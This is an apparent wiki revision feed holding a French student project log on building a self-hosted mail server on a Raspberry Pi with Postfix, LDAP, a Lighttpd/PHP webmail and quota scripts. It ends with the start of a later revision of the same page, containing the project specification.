&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http://projets-imasc.plil.net/mediawiki/images/1/10/PFE_Final_TENEUR_LIBAERT.pdf ICI]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Code Perl du script pour Postfix :&lt;br /&gt;
&lt;br /&gt;
Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:PFE_Final_TENEUR_LIBAERT.pdf&amp;diff=27635</id>
		<title>Fichier:PFE Final TENEUR LIBAERT.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:PFE_Final_TENEUR_LIBAERT.pdf&amp;diff=27635"/>
				<updated>2016-02-23T11:03:29Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : Rapport Final de PFE pour le projet P9 Système d'hébergement domestique&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Rapport Final de PFE pour le projet P9 Système d'hébergement domestique&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27627</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27627"/>
				<updated>2016-02-23T10:49:18Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
